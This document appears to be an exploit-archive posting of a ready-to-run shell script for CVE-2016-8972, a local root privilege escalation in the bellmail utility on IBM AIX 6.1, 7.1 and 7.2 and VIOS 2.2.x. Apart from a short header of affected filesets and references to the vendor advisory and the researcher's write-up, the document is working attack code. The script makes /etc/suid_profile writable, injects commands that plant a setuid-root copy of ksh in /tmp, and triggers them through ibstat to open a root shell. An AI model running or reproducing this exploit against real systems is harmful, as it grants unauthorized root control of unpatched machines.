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IBM AIX 6.1 / 7.1 / 7.2 Bellmail Privilege Escalation

Posted on 23 December 2016

#!/usr/bin/sh
#
# CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root
#
# Affected versions:
# AIX 6.1, 7.1, 7.2
# VIOS 2.2.x
#
# Fileset Lower Level Upper Level KEY
# ---------------------------------------------------------
# bos.net.tcp.client 6.1.9.0 6.1.9.200 key_w_fs
# bos.net.tcp.client 7.1.3.0 7.1.3.47 key_w_fs
# bos.net.tcp.client 7.1.4.0 7.1.4.30 key_w_fs
# bos.net.tcp.client_core 7.2.0.0 7.2.0.1 key_w_fs
# bos.net.tcp.client_core 7.2.1.0 7.2.1.0 key_w_fs
#
# Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc
# Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/
# @hxmonsegur //RSL - https://www.rhinosecuritylabs.com

ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
VULNBIN=/usr/bin/bellmail
SUIDPROFILE=/etc/suid_profile

function ESCALATE
{
echo "[*] Preparing escalation"

$VULNBIN >/dev/null 2>&1 <<EOD
s /etc/suid_profile
EOD

if [ ! -w $SUIDPROFILE ]; then
echo "[-] $SUIDPROFILE is not writable. Exploit failed."
exit 1
fi

echo "[*] Clearing out $SUIDPROFILE"
echo > /etc/suid_profile

echo "[*] Injecting payload"
cat << EOF >$SUIDPROFILE
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm -f $SUIDPROFILE
EOF

echo "[*] Executing SUID to leverage privileges"
/usr/bin/ibstat -a >/dev/null 2>&1

if [ ! -x $ROOTSHELL ]; then
echo "[-] Root shell does not exist or is not executable. Exploit failed."
exit 1
fi

echo "[*] Escalating to root.."
$ROOTSHELL
echo "[*] Make sure to remove $ROOTSHELL"
}

echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL"

$VULNBIN -e
if [ $? -eq 0 ]
then
ESCALATE
echo "[*] Make sure to remove $ROOTSHELL"
exit 0
fi

echo "[*] Sending mail to non-existent user, force a bounce within ~minute"
/usr/bin/mail nonexistentuser <<EOD
.
.
.
EOD

echo "[*] Waiting for mail to come in."

while true
do
$VULNBIN -e
if [ $? -eq 0 ]
then
echo "[*] Mail found"
ESCALATE
break
else
echo "[-] Mail not received yet. Sleeping."
sleep 10
fi
done

 

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